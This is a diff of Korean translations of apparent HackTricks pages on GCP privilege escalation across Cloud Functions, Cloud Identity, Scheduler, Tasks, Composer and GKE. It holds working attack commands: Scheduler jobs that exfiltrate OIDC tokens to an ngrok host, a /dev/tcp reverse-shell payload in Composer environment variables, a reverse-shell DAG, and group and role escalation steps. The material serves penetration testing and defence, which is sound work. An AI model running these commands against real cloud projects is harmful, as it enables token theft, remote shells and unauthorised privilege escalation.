curl -X POST https://cloudfunctions.googleapis.com/v2/projects/{project-id}/locations/{location}/functions:generateUploadUrl \
|
||||
@@ -69,36 +75,38 @@ curl -X POST https://cloudfunctions.googleapis.com/v2/projects/{project-id}/loca
|
||||
-H "Content-Type: application/json" \
|
||||
-d '{}'
|
||||
```
|
||||
공격자의 관점에서 이 권한이 얼마나 유용할지는 잘 모르겠지만, 알아두면 좋습니다.
|
||||
</details>
|
||||
|
||||
이 권한만으로 공격자 관점에서 얼마나 유용한지는 확실하지 않지만 알아두면 좋다.
|
||||
|
||||
### `cloudfunctions.functions.setIamPolicy` , `iam.serviceAccounts.actAs`
|
||||
|
||||
이전의 **`.update`** 또는 **`.create`** 권한을 부여받아 상승할 수 있습니다.
|
||||
자신에게 이전에 언급한 **`.update`** 또는 **`.create`** 권한 중 하나를 부여하면 권한 상승이 가능하다.
|
||||
|
||||
### `cloudfunctions.functions.update`
|
||||
|
||||
**`cloudfunctions`** 권한만 가지고 **`iam.serviceAccounts.actAs`** 권한이 없으면 **함수를 업데이트할 수 없으므로 이는 유효한 권한 상승이 아닙니다.**
|
||||
오직 **`cloudfunctions`** 권한만 있고 **`iam.serviceAccounts.actAs`** 가 없다면 함수를 업데이트할 수 없다. 따라서 이는 유효한 PRIVESC가 아니다.
|
||||
|
||||
### 버킷에 대한 읽기 및 쓰기 접근
|
||||
### Read & Write Access over the bucket
|
||||
|
||||
버킷에 대한 읽기 및 쓰기 접근 권한이 있다면 코드의 변경 사항을 모니터링할 수 있으며, **버킷에서 업데이트가 발생할 때마다 새로운 코드를 자신의 코드로 업데이트할 수 있습니다.** 그러면 새로운 버전의 Cloud Function이 제출된 백도어 코드로 실행됩니다.
|
||||
버킷에 대한 읽기/쓰기 액세스가 있다면 코드 변경 사항을 모니터링할 수 있으며, **버킷에서 업데이트가 발생할 때마다 새 코드를 자신의 코드로 교체할 수 있어서** Cloud Function의 새 버전이 제출된 backdoored code로 실행되도록 만들 수 있다.
|
||||
|
||||
공격에 대한 자세한 내용은 다음에서 확인할 수 있습니다:
|
||||
You can check more about the attack in:
|
||||
|
||||
{{#ref}}
|
||||
gcp-storage-privesc.md
|
||||
{{#endref}}
|
||||
|
||||
그러나, 이를 사용하여 제3자의 Cloud Functions를 사전 침해할 수는 없습니다. 왜냐하면 자신의 계정에 버킷을 생성하고 외부 프로젝트가 그 위에 쓸 수 있도록 공개 권한을 부여하면 다음과 같은 오류가 발생하기 때문입니다:
|
||||
그러나 자신의 계정에 버킷을 만들고 외부 프로젝트가 쓸 수 있도록 퍼블릭 권한을 부여하면 다음과 같은 오류가 발생하므로 제3자 Cloud Functions를 사전에 침해(pre-compromise)하는 데는 사용할 수 없다:
|
||||
|
||||
<figure><img src="../../../images/image (1) (1) (1).png" alt="" width="304"><figcaption></figcaption></figure>
|
||||
|
||||
> [!CAUTION]
|
||||
> 그러나, 이는 DoS 공격에 사용될 수 있습니다.
|
||||
> 하지만 이것은 DoS 공격에 악용될 수 있다.
|
||||
|
||||
### 아티팩트 레지스트리에 대한 읽기 및 쓰기 접근
|
||||
### Read & Write Access over Artifact Registry
|
||||
|
||||
Cloud Function이 생성되면 새로운 도커 이미지가 프로젝트의 아티팩트 레지스트리에 푸시됩니다. 새로운 이미지로 이미지를 수정하려고 시도했지만, 현재 이미지를 삭제하고(`cache` 이미지도) 아무런 변화가 없었으며, Cloud Function은 계속 작동했습니다. 따라서, 아마도 **버킷과 같은 경쟁 조건 공격을 악용하여 실행될 도커 컨테이너를 변경하는 것이 가능할 수 있습니다.** 그러나 **저장된 이미지를 수정하는 것만으로는 Cloud Function을 침해할 수 없습니다.**
|
||||
Cloud Function이 생성되면 프로젝트의 Artifact Registry에 새로운 docker 이미지가 푸시된다. 이미지를 새 이미지로 교체해보거나 현재 이미지를(및 `cache` 이미지) 삭제해보았지만 아무 변화가 없었고, Cloud Function은 계속 동작했다. 따라서 버킷과 마찬가지로 실행될 도커 컨테이너를 변경하기 위해 **Race Condition 공격을 악용할 가능성은 있을 수 있다**, 그러나 **저장된 이미지를 단순히 수정하는 것만으로는 Cloud Function을 침해할 수 없다**.
|
||||
|
||||
## References
|
||||
|
||||
|
||||
@@ -4,22 +4,28 @@
|
||||
|
||||
## Cloudidentity
|
||||
|
||||
cloudidentity 서비스에 대한 자세한 정보는 이 페이지를 확인하세요:
|
||||
cloudidentity 서비스에 대한 자세한 정보는 다음 페이지를 확인하세요:
|
||||
|
||||
{{#ref}}
|
||||
../gcp-services/gcp-iam-and-org-policies-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### 그룹에 자신 추가하기
|
||||
### 그룹에 자신을 추가
|
||||
|
||||
사용자에게 충분한 권한이 있거나 그룹이 잘못 구성된 경우, 그는 새로운 그룹의 구성원으로 자신을 추가할 수 있습니다:
|
||||
사용자에게 충분한 권한이 있거나 그룹이 잘못 구성되어 있으면, 자신을 새로운 그룹의 멤버로 추가할 수 있습니다:
|
||||
|
||||
<details><summary>Cloud Identity 그룹에 자신을 추가</summary>
|
||||
```bash
|
||||
gcloud identity groups memberships add --group-email <email> --member-email <email> [--roles OWNER]
|
||||
# If --roles isn't specified you will get MEMBER
|
||||
```
|
||||
### 그룹 구성원 수정
|
||||
</details>
|
||||
|
||||
사용자가 충분한 권한을 가지고 있거나 그룹이 잘못 구성된 경우, 그는 자신이 구성원인 그룹의 OWNER가 될 수 있습니다:
|
||||
### 그룹 멤버십 수정
|
||||
|
||||
사용자에게 충분한 권한이 있거나 그룹이 잘못 구성되어 있으면 자신이 속한 그룹의 OWNER로 만들 수 있습니다:
|
||||
|
||||
<details><summary>그룹 멤버십을 수정하여 OWNER가 되기</summary>
|
||||
```bash
|
||||
# Check the current membership level
|
||||
gcloud identity groups memberships describe --member-email <email> --group-email <email>
|
||||
@@ -27,4 +33,6 @@ gcloud identity groups memberships describe --member-email <email> --group-email
|
||||
# If not OWNER try
|
||||
gcloud identity groups memberships modify-membership-roles --group-email <email> --member-email <email> --add-roles=OWNER
|
||||
```
|
||||
</details>
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
@@ -4,7 +4,7 @@
|
||||
|
||||
## Cloud Scheduler
|
||||
|
||||
자세한 정보는 다음을 참조하세요:
|
||||
자세한 정보:
|
||||
|
||||
{{#ref}}
|
||||
../gcp-services/gcp-cloud-scheduler-enum.md
|
||||
@@ -12,33 +12,47 @@
|
||||
|
||||
### `cloudscheduler.jobs.create` , `iam.serviceAccounts.actAs`, (`cloudscheduler.locations.list`)
|
||||
|
||||
이 권한을 가진 공격자는 **Cloud Scheduler**를 이용하여 **특정 서비스 계정으로 크론 작업을 인증**할 수 있습니다. HTTP POST 요청을 조작하여 공격자는 Storage 버킷 생성과 같은 작업을 서비스 계정의 신원으로 실행하도록 예약합니다. 이 방법은 **스케줄러가 `*.googleapis.com` 엔드포인트를 타겟팅하고 요청을 인증하는 능력을 활용**하여 공격자가 간단한 `gcloud` 명령을 사용하여 Google API 엔드포인트를 직접 조작할 수 있게 합니다.
|
||||
해당 권한을 가진 공격자는 **Cloud Scheduler**를 악용하여 **cron 작업을 특정 Service Account로 인증(authenticate)하도록 만들 수 있습니다**. 공격자는 HTTP POST 요청을 구성하여 Storage 버킷 생성과 같은 작업을 Service Account의 신분으로 실행되도록 예약할 수 있습니다. 이 방법은 **Scheduler가 `*.googleapis.com` 엔드포인트를 대상으로 하고 요청을 인증할 수 있는 기능**을 이용하므로, 단순한 `gcloud` 명령으로 Google API 엔드포인트를 직접 조작할 수 있습니다.
|
||||
|
||||
- **OAuth 토큰 헤더로 `googleapis.com`의 모든 Google API에 접속**
|
||||
- **OAuth 토큰 헤더로 `googleapis.com`을 통해 모든 Google API에 접근**
|
||||
|
||||
새 Storage 버킷 생성:
|
||||
|
||||
<details><summary>API를 통해 GCS 버킷을 생성하는 Cloud Scheduler 작업 생성</summary>
|
||||
```bash
|
||||
gcloud scheduler jobs create http test --schedule='* * * * *' --uri='https://storage.googleapis.com/storage/v1/b?project=<PROJECT-ID>' --message-body "{'name':'new-bucket-name'}" --oauth-service-account-email 111111111111-compute@developer.gserviceaccount.com --headers "Content-Type=application/json" --location us-central1
|
||||
```
|
||||
권한을 상승시키기 위해, **공격자는 지정된 서비스 계정을 가장하여 원하는 API를 대상으로 하는 HTTP 요청을 단순히 작성합니다.**
|
||||
</details>
|
||||
|
||||
- **OIDC 서비스 계정 토큰 유출**
|
||||
권한을 상승시키려면, **attacker는 지정된 Service Account를 가장하여 원하는 API를 대상으로 하는 HTTP 요청을 단순히 작성하면 된다**
|
||||
|
||||
- **Exfiltrate OIDC service account token**
|
||||
|
||||
<details><summary>OIDC token을 exfiltrate하기 위한 Cloud Scheduler job 생성</summary>
|
||||
```bash
|
||||
gcloud scheduler jobs create http test --schedule='* * * * *' --uri='https://87fd-2a02-9130-8532-2765-ec9f-cba-959e-d08a.ngrok-free.app' --oidc-service-account-email 111111111111-compute@developer.gserviceaccount.com [--oidc-token-audience '...']
|
||||
|
||||
# Listen in the ngrok address to get the OIDC token in clear text.
|
||||
```
|
||||
HTTP 응답을 확인해야 하는 경우 **실행 로그를 확인해 볼 수 있습니다**.
|
||||
</details>
|
||||
|
||||
HTTP 응답을 확인해야 하는 경우 **실행 로그를 확인해 보세요**.
|
||||
|
||||
### `cloudscheduler.jobs.update` , `iam.serviceAccounts.actAs`, (`cloudscheduler.locations.list`)
|
||||
|
||||
이전 시나리오와 마찬가지로 **이미 생성된 스케줄러를 업데이트**하여 토큰을 훔치거나 작업을 수행할 수 있습니다. 예를 들어:
|
||||
이전 시나리오와 마찬가지로 이미 생성된 scheduler를 **업데이트**하여 토큰을 탈취하거나 작업을 수행할 수 있습니다. 예를 들어:
|
||||
|
||||
<details><summary>Update existing Cloud Scheduler job to exfiltrate OIDC token</summary>
|
||||
```bash
|
||||
gcloud scheduler jobs update http test --schedule='* * * * *' --uri='https://87fd-2a02-9130-8532-2765-ec9f-cba-959e-d08a.ngrok-free.app' --oidc-service-account-email 111111111111-compute@developer.gserviceaccount.com [--oidc-token-audience '...']
|
||||
|
||||
# Listen in the ngrok address to get the OIDC token in clear text.
|
||||
```
|
||||
SA에 개인 키를 업로드하고 이를 가장하는 또 다른 예:
|
||||
</details>
|
||||
|
||||
private key를 SA에 업로드하고 이를 impersonate하는 또 다른 예:
|
||||
|
||||
<details><summary>Cloud Scheduler를 통해 Service Account에 private key를 업로드하고 이를 impersonate하는 방법</summary>
|
||||
```bash
|
||||
# Generate local private key
|
||||
openssl req -x509 -nodes -newkey rsa:2048 -days 365 \
|
||||
@@ -102,7 +116,9 @@ EOF
|
||||
# Activate the generated key
|
||||
gcloud auth activate-service-account --key-file=/tmp/lab.json
|
||||
```
|
||||
## 참고 문헌
|
||||
</details>
|
||||
|
||||
## 참고자료
|
||||
|
||||
- [https://rhinosecuritylabs.com/gcp/privilege-escalation-google-cloud-platform-part-1/](https://rhinosecuritylabs.com/gcp/privilege-escalation-google-cloud-platform-part-1/)
|
||||
|
||||
|
||||
@@ -6,7 +6,9 @@
|
||||
|
||||
### `cloudtasks.tasks.create`, `iam.serviceAccounts.actAs`
|
||||
|
||||
이 권한을 가진 공격자는 **다른 서비스 계정을 가장할 수 있습니다**. 이는 지정된 서비스 계정의 신원으로 실행되는 작업을 생성함으로써 가능합니다. 이를 통해 **IAM으로 보호된 Cloud Run 또는 Cloud Functions** 서비스에 **인증된 HTTP 요청을 보낼 수 있습니다**.
|
||||
이 권한을 가진 공격자는 지정한 서비스 계정의 ID로 실행되는 작업을 생성하여 **다른 서비스 계정을 가장할 수 있습니다**. 이를 통해 IAM으로 보호된 Cloud Run 또는 Cloud Functions 서비스로 **인증된 HTTP 요청을 전송**할 수 있습니다.
|
||||
|
||||
<details><summary>서비스 계정 가장을 사용해 Cloud Task 생성</summary>
|
||||
```bash
|
||||
gcloud tasks create-http-task \
|
||||
task-$(date '+%Y%m%d%H%M%S') \
|
||||
@@ -18,17 +20,25 @@ task-$(date '+%Y%m%d%H%M%S') \
|
||||
--body-content '{"hello":"world"}' \
|
||||
--oidc-service-account-email <account>@<project_id>.iam.gserviceaccount.com
|
||||
```
|
||||
</details>
|
||||
|
||||
### `cloudtasks.tasks.run`, `cloudtasks.tasks.list`
|
||||
|
||||
이 권한을 가진 공격자는 **기존의 예약된 작업을 실행**할 수 있으며, 작업과 연결된 서비스 계정에 대한 권한이 필요하지 않습니다. 이는 이전에 더 높은 권한을 가진 서비스 계정으로 생성된 작업을 실행할 수 있게 해줍니다.
|
||||
이 권한을 가진 공격자는 작업에 연결된 서비스 계정에 대한 권한이 없어도 **기존에 예약된 작업을 실행**할 수 있습니다. 이는 더 높은 권한을 가진 서비스 계정으로 이전에 생성된 작업을 실행할 수 있게 합니다.
|
||||
|
||||
<details><summary>actAs 권한 없이 기존 Cloud Task 실행</summary>
|
||||
```bash
|
||||
gcloud tasks run projects/<project_id>/locations/us-central1/queues/<queue_name>/tasks/<task_id>
|
||||
```
|
||||
이 명령을 실행하는 주체는 **작업의 서비스 계정에 대한 `iam.serviceAccounts.actAs` 권한이 필요하지 않습니다**. 그러나 이는 기존 작업을 실행할 수만 있으며, 작업을 생성하거나 수정할 수 있는 권한은 부여하지 않습니다.
|
||||
</details>
|
||||
|
||||
이 명령을 실행하는 주체는 **`iam.serviceAccounts.actAs` 권한이 필요하지 않습니다**(작업의 서비스 계정에 대해). 그러나 이는 기존 작업을 실행하는 것만 허용할 뿐, 작업을 생성하거나 수정하는 권한을 부여하지는 않습니다.
|
||||
|
||||
### `cloudtasks.queues.setIamPolicy`
|
||||
|
||||
이 권한을 가진 공격자는 **특정 큐에서 자신이나 다른 주체에게 Cloud Tasks 역할을 부여할 수 있습니다**, 이는 `roles/cloudtasks.admin`로 상승할 수 있으며, 여기에는 작업을 생성하고 실행할 수 있는 능력이 포함됩니다.
|
||||
이 권한을 가진 공격자는 특정 큐에 대해 **자신 또는 다른 주체에게 Cloud Tasks 역할을 부여할 수 있으며**, 잠재적으로 `roles/cloudtasks.admin`으로 권한 상승하여 작업을 생성하고 실행할 수 있는 권한을 얻을 수 있습니다.
|
||||
|
||||
<details><summary>큐에 Cloud Tasks 관리자 역할 부여</summary>
|
||||
```bash
|
||||
gcloud tasks queues add-iam-policy-binding \
|
||||
<queue_name> \
|
||||
@@ -36,9 +46,11 @@ gcloud tasks queues add-iam-policy-binding \
|
||||
--member serviceAccount:<account>@<project_id>.iam.gserviceaccount.com \
|
||||
--role roles/cloudtasks.admin
|
||||
```
|
||||
이것은 공격자가 자신이 제어하는 서비스 계정에 대해 큐에 대한 전체 Cloud Tasks 관리자 권한을 부여할 수 있게 합니다.
|
||||
</details>
|
||||
|
||||
## References
|
||||
이로 인해 공격자는 자신이 제어하는 어떤 service account에도 해당 큐에 대한 전체 Cloud Tasks 관리자 권한을 부여할 수 있습니다.
|
||||
|
||||
## 참고자료
|
||||
|
||||
- [Google Cloud Tasks Documentation](https://cloud.google.com/tasks/docs)
|
||||
|
||||
|
||||
@@ -4,7 +4,7 @@
|
||||
|
||||
## composer
|
||||
|
||||
자세한 정보는 다음을 참조하세요:
|
||||
자세한 정보:
|
||||
|
||||
{{#ref}}
|
||||
../gcp-services/gcp-composer-enum.md
|
||||
@@ -12,18 +12,24 @@
|
||||
|
||||
### `composer.environments.create`
|
||||
|
||||
해당 권한으로 새로 생성된 composer 환경에 **모든 서비스 계정**을 연결할 수 있습니다. 이후 composer 내에서 코드를 실행하여 서비스 계정 토큰을 탈취할 수 있습니다.
|
||||
해당 권한으로 새로 생성하는 Composer 환경에 **임의의 service account**를 연결할 수 있습니다. 이후 composer 내부에서 코드를 실행해 service account 토큰을 탈취할 수 있습니다.
|
||||
|
||||
<details><summary>service account가 연결된 Composer 환경 생성</summary>
|
||||
```bash
|
||||
gcloud composer environments create privesc-test \
|
||||
--project "${PROJECT_ID}" \
|
||||
--location europe-west1 \
|
||||
--service-account="${ATTACK_SA}@${PROJECT_ID}.iam.gserviceaccount.com"
|
||||
```
|
||||
더 많은 정보는 [**여기**](https://github.com/carlospolop/gcp_privesc_scripts/blob/main/tests/i-composer.environmets.create.sh)에서 확인할 수 있습니다.
|
||||
</details>
|
||||
|
||||
취약점 악용에 대한 자세한 정보는 [**here**](https://github.com/carlospolop/gcp_privesc_scripts/blob/main/tests/i-composer.environmets.create.sh).
|
||||
|
||||
### `composer.environments.update`
|
||||
|
||||
env 변수를 수정하는 등 composer 환경을 업데이트하는 것이 가능합니다:
|
||||
예를 들어 환경 변수를 수정하는 방식으로 composer environment를 업데이트할 수 있습니다:
|
||||
|
||||
<details><summary>코드 실행을 위한 Composer 환경 변수 업데이트</summary>
|
||||
```bash
|
||||
# Even if it says you don't have enough permissions the update happens
|
||||
gcloud composer environments update \
|
||||
@@ -46,24 +52,36 @@ X-Allowed-Locations: 0x0
|
||||
|
||||
{"config": {"softwareConfig": {"envVariables": {"BROWSER": "/bin/bash -c 'bash -i >& /dev/tcp/2.tcp.eu.ngrok.io/1890 0>&1' & #%s", "PYTHONWARNINGS": "all:0:antigravity.x:0:0"}}}}
|
||||
```
|
||||
</details>
|
||||
|
||||
TODO: 환경에 새로운 pypi 패키지를 추가하여 RCE 얻기
|
||||
|
||||
### Dags 다운로드
|
||||
|
||||
실행 중인 dags의 소스 코드를 확인하세요:
|
||||
|
||||
<details><summary>DAGs를 Composer environment에서 내보내고 다운로드</summary>
|
||||
```bash
|
||||
mkdir /tmp/dags
|
||||
gcloud composer environments storage dags export --environment <environment> --location <loc> --destination /tmp/dags
|
||||
```
|
||||
### Dags 가져오기
|
||||
</details>
|
||||
|
||||
파이썬 DAG 코드를 파일에 추가하고 실행하여 가져옵니다:
|
||||
### DAG 가져오기
|
||||
|
||||
python DAG 코드를 파일에 추가한 후 실행하여 import합니다:
|
||||
|
||||
<details><summary>Composer 환경에 악성 DAG 가져오기</summary>
|
||||
```bash
|
||||
# TODO: Create dag to get a rev shell
|
||||
gcloud composer environments storage dags import --environment test --location us-central1 --source /tmp/dags/reverse_shell.py
|
||||
```
|
||||
리버스 셸 DAG:
|
||||
```python:reverse_shell.py
|
||||
</details>
|
||||
|
||||
Reverse shell DAG:
|
||||
|
||||
<details><summary>Python DAG code for reverse shell</summary>
|
||||
```python
|
||||
import airflow
|
||||
from airflow import DAG
|
||||
from airflow.operators.bash_operator import BashOperator
|
||||
@@ -94,11 +112,13 @@ depends_on_past=False,
|
||||
priority_weight=2**31 - 1,
|
||||
do_xcom_push=False)
|
||||
```
|
||||
</details>
|
||||
|
||||
### Composer 버킷에 대한 쓰기 권한
|
||||
|
||||
모든 composer 환경의 구성 요소(DAG, 플러그인 및 데이터)는 GCP 버킷 내에 저장됩니다. 공격자가 이에 대한 읽기 및 쓰기 권한을 가지고 있다면, 그는 버킷을 모니터링하고 **DAG가 생성되거나 업데이트될 때마다 백도어가 포함된 버전을 제출하여 composer 환경이 저장소에서 백도어가 포함된 버전을 가져오게 할 수 있습니다.**
|
||||
Composer 환경의 모든 구성 요소(DAGs, plugins 및 data)는 GCP 버킷 내에 저장됩니다. 공격자가 해당 버킷에 대한 읽기 및 쓰기 권한을 가지고 있다면, 버킷을 모니터링하고 **DAG가 생성되거나 업데이트될 때마다 백도어가 심긴 버전을 제출**하여 Composer 환경이 스토리지에서 백도어 버전을 가져오게 할 수 있습니다.
|
||||
|
||||
이 공격에 대한 자세한 정보는 다음에서 확인하세요:
|
||||
Get more info about this attack in:
|
||||
|
||||
{{#ref}}
|
||||
gcp-storage-privesc.md
|
||||
@@ -106,10 +126,10 @@ gcp-storage-privesc.md
|
||||
|
||||
### 플러그인 가져오기
|
||||
|
||||
TODO: 플러그인을 업로드하여 어떤 것을 손상시킬 수 있는지 확인
|
||||
TODO: 플러그인 업로드로 인해 무엇을 침해할 수 있는지 확인
|
||||
|
||||
### 데이터 가져오기
|
||||
|
||||
TODO: 데이터를 업로드하여 어떤 것을 손상시킬 수 있는지 확인
|
||||
TODO: 데이터를 업로드하여 무엇을 침해할 수 있는지 확인
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
@@ -6,16 +6,22 @@
|
||||
|
||||
### `container.clusters.get`
|
||||
|
||||
이 권한은 **Kubernetes 클러스터에 대한 자격 증명을 수집할 수 있게 해줍니다**.
|
||||
이 권한은 다음과 같은 방법으로 **Kubernetes 클러스터의 자격 증명 정보를 수집**할 수 있게 해줍니다:
|
||||
|
||||
<details><summary>Kubernetes 클러스터 자격 증명 가져오기</summary>
|
||||
```bash
|
||||
gcloud container clusters get-credentials <cluster_name> --zone <zone>
|
||||
```
|
||||
권한이 추가되지 않은 경우, 자격 증명은 기본적이며 **일부 리소스를 나열할 수 있습니다**, 그러나 이는 환경에서 잘못 구성된 부분을 찾는 데 유용합니다.
|
||||
</details>
|
||||
|
||||
추가 권한이 없으면 자격 증명은 매우 기본적입니다. **리소스를 나열하기만 할 수** 있지만, 환경의 잘못된 구성을 찾는 데 유용합니다.
|
||||
|
||||
> [!NOTE]
|
||||
> **쿠버네티스 클러스터가 비공개로 구성될 수 있습니다**. 이는 인터넷에서 Kube-API 서버에 대한 접근을 허용하지 않습니다.
|
||||
> **kubernetes clusters가 비공개로 구성되어 있을 수 있습니다**, 이 경우 Internet에서 Kube-API server로의 접근이 차단됩니다.
|
||||
|
||||
이 권한이 없더라도 클러스터에 접근할 수 있지만, 클러스터 정보를 포함한 **자신의 kubectl 구성 파일을 생성해야** 합니다. 새로 생성된 파일은 다음과 같습니다:
|
||||
이 권한이 없어도 클러스터에 접근할 수 있지만, 클러스터 정보를 사용해 **자신의 kubectl config 파일을 생성**해야 합니다. 새로 생성된 파일은 다음과 같습니다:
|
||||
|
||||
<details><summary>GKE 클러스터용 예제 kubectl config 파일</summary>
|
||||
```yaml
|
||||
apiVersion: v1
|
||||
clusters:
|
||||
@@ -44,44 +50,46 @@ expiry-key: "{.credential.token_expiry}"
|
||||
token-key: "{.credential.access_token}"
|
||||
name: gcp
|
||||
```
|
||||
</details>
|
||||
|
||||
### `container.roles.escalate` | `container.clusterRoles.escalate`
|
||||
|
||||
**Kubernetes**는 기본적으로 주체가 **더 많은 권한**을 가진 **Roles** 및 **ClusterRoles**를 **생성**하거나 **업데이트**하는 것을 **방지**합니다. 그러나 해당 권한을 가진 **GCP** 주체는 **더 많은 권한**을 가진 Roles/ClusterRoles를 **생성/업데이트**할 수 있어, Kubernetes의 이 행동에 대한 보호를 효과적으로 우회할 수 있습니다.
|
||||
**Kubernetes**는 기본적으로 주체(principal)가 자신이 보유한 권한보다 더 많은 권한을 가진 **Roles** 및 **ClusterRoles**를 생성하거나 업데이트하지 못하도록 차단합니다. 그러나 해당 권한을 가진 **GCP** 주체는 자신이 가진 것보다 더 많은 권한을 가진 Roles/ClusterRoles를 생성/업데이트할 수 있어, Kubernetes의 이러한 보호를 우회할 수 있습니다.
|
||||
|
||||
**`container.roles.create`** 및/또는 **`container.roles.update`** 또는 **`container.clusterRoles.create`** 및/또는 **`container.clusterRoles.update`**도 이러한 권한 상승 작업을 수행하는 데 **필요**합니다.
|
||||
**`container.roles.create`** 및/또는 **`container.roles.update`** 혹은 **`container.clusterRoles.create`** 및/또는 **`container.clusterRoles.update`** 는 각각 이러한 권한 상승 행위를 수행하는 데 또한 **필요**합니다.
|
||||
|
||||
### `container.roles.bind` | `container.clusterRoles.bind`
|
||||
|
||||
**Kubernetes**는 기본적으로 주체가 **더 많은 권한**을 가진 **RoleBindings** 및 **ClusterRoleBindings**를 **생성**하거나 **업데이트**하는 것을 **방지**합니다. 그러나 해당 권한을 가진 **GCP** 주체는 **더 많은 권한**을 가진 RolesBindings/ClusterRolesBindings를 **생성/업데이트**할 수 있어, Kubernetes의 이 행동에 대한 보호를 효과적으로 우회할 수 있습니다.
|
||||
**Kubernetes**는 기본적으로 주체가 자신이 가진 권한보다 더 많은 권한을 부여하기 위해 **RoleBindings** 및 **ClusterRoleBindings**을 생성하거나 업데이트하지 못하도록 차단합니다. 그러나 해당 권한을 가진 **GCP** 주체는 자신이 가진 것보다 더 많은 권한을 가진 RoleBindings/ClusterRoleBindings를 생성/업데이트할 수 있어 Kubernetes의 이러한 보호를 우회할 수 있습니다.
|
||||
|
||||
**`container.roleBindings.create`** 및/또는 **`container.roleBindings.update`** 또는 **`container.clusterRoleBindings.create`** 및/또는 **`container.clusterRoleBindings.update`**도 이러한 권한 상승 작업을 수행하는 데 **필요**합니다.
|
||||
**`container.roleBindings.create`** 및/또는 **`container.roleBindings.update`** 혹은 **`container.clusterRoleBindings.create`** 및/또는 **`container.clusterRoleBindings.update`** 는 각각 이러한 권한 상승 행위를 수행하는 데 또한 **필요**합니다.
|
||||
|
||||
### `container.cronJobs.create` | `container.cronJobs.update` | `container.daemonSets.create` | `container.daemonSets.update` | `container.deployments.create` | `container.deployments.update` | `container.jobs.create` | `container.jobs.update` | `container.pods.create` | `container.pods.update` | `container.replicaSets.create` | `container.replicaSets.update` | `container.replicationControllers.create` | `container.replicationControllers.update` | `container.scheduledJobs.create` | `container.scheduledJobs.update` | `container.statefulSets.create` | `container.statefulSets.update`
|
||||
|
||||
이 모든 권한은 **리소스를 생성하거나 업데이트**할 수 있게 해주며, 여기서 **pod**를 **정의**할 수 있습니다. pod를 정의함으로써 **첨부될 SA**와 **실행될 이미지**를 **지정**할 수 있으므로, SA의 토큰을 **서버로 유출**하는 이미지를 실행할 수 있어, 어떤 서비스 계정으로도 권한을 상승시킬 수 있습니다.\
|
||||
자세한 정보는 확인하세요:
|
||||
이 권한들은 모두 pod를 정의할 수 있는 리소스를 생성하거나 업데이트할 수 있게 해줍니다. pod를 정의할 때 연결될 SA와 실행할 이미지를 지정할 수 있으므로, SA의 토큰을 당신의 서버로 exfiltrate 하는 이미지를 실행해 어떤 서비스 계정으로도 권한 상승할 수 있습니다.\
|
||||
자세한 내용은 확인하세요:
|
||||
|
||||
GCP 환경에 있으므로, **메타데이터** 서비스에서 **nodepool GCP SA**를 **가져오고** **GCP에서 권한을 상승**시킬 수 있습니다(기본적으로 컴퓨트 SA가 사용됨).
|
||||
현재 우리는 **GCP** 환경에 있으므로, metadata 서비스에서 nodepool GCP SA를 얻어 GC**P**에서 권한을 상승시킬 수도 있습니다(기본적으로 compute SA가 사용됩니다).
|
||||
|
||||
### `container.secrets.get` | `container.secrets.list`
|
||||
|
||||
[**이 페이지에서 설명한 바와 같이,**](../../kubernetes-security/abusing-roles-clusterroles-in-kubernetes/#listing-secrets)이 권한으로 모든 **Kubernetes의 SA**의 **토큰**을 **읽을** 수 있어, 이들로 권한을 상승시킬 수 있습니다.
|
||||
As [**이 페이지에 설명된 것처럼**, ](../../kubernetes-security/abusing-roles-clusterroles-in-kubernetes/index.html#listing-secrets)이 권한들로 kubernetes의 모든 SA 토큰을 읽을 수 있으므로 해당 SA로 권한 상승할 수 있습니다.
|
||||
|
||||
### `container.pods.exec`
|
||||
|
||||
이 권한으로 **pods**에 **exec**할 수 있어, K8s 내에서 권한을 상승시키기 위해 **pods에서 실행 중인 모든 Kubernetes SA**에 **접근**할 수 있으며, 또한 **NodePool**의 **GCP 서비스 계정**을 **탈취**하여 **GCP에서 권한을 상승**시킬 수 있습니다.
|
||||
이 권한으로 pods에 exec할 수 있으며, 이는 pods에서 실행 중인 모든 Kubernetes SA에 접근해 K8s 내에서 권한을 상승시킬 수 있게 합니다. 또한 NodePool의 GCP Service Account를 훔쳐 GCP에서 권한을 상승시킬 수도 있습니다.
|
||||
|
||||
### `container.pods.portForward`
|
||||
|
||||
[**이 페이지에서 설명한 바와 같이,**] 이 권한으로 **pods**에서 실행 중인 **로컬 서비스**에 **접근**할 수 있어, **Kubernetes에서 권한을 상승**시킬 수 있습니다(어떻게든 메타데이터 서비스와 통신할 수 있다면 **GCP**에서도 가능함).
|
||||
As **explained in this page**, 이 권한들로 pods에서 실행 중인 로컬 서비스에 접근할 수 있으며 이는 Kubernetes에서 권한 상승을 허용할 수 있습니다 (그리고 메타데이터 서비스와 통신할 수 있다면 GCP에서도 권한 상승이 가능할 수 있습니다)**.**
|
||||
|
||||
### `container.serviceAccounts.createToken`
|
||||
|
||||
**권한**의 **이름** 때문에, **K8s 서비스 계정의 토큰을 생성**할 수 있을 것처럼 보이며, 따라서 Kubernetes 내의 **어떤 SA**로도 **권한 상승**할 수 있습니다. 그러나 이를 사용할 API 엔드포인트를 찾을 수 없으니, 찾으면 알려주세요.
|
||||
권한 이름 때문에 K8s Service Accounts의 토큰을 생성할 수 있어 Kubernetes 내부의 어떤 SA로든 privesc할 수 있을 것처럼 보입니다. 그러나 이를 사용하기 위한 API 엔드포인트를 찾지 못했습니다. 찾으시면 알려주세요.
|
||||
|
||||
### `container.mutatingWebhookConfigurations.create` | `container.mutatingWebhookConfigurations.update`
|
||||
|
||||
이 권한은 Kubernetes에서 권한을 상승시킬 수 있지만, 더 가능성이 높은 것은 **클러스터에 지속적으로 존재**하기 위해 악용할 수 있습니다.\
|
||||
자세한 정보는 [**이 링크를 따라가세요**](../../kubernetes-security/abusing-roles-clusterroles-in-kubernetes/#malicious-admission-controller).
|
||||
이 권한들은 Kubernetes에서 권한 상승을 허용할 수 있지만, 더 가능성 높은 시나리오는 이를 남용해 클러스터에 지속성(persistence)을 확보하는 것입니다.\
|
||||
자세한 내용은 [**이 링크를 따라가세요**](../../kubernetes-security/abusing-roles-clusterroles-in-kubernetes/index.html#malicious-admission-controller).
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
@@ -10,17 +10,19 @@
|
||||
|
||||
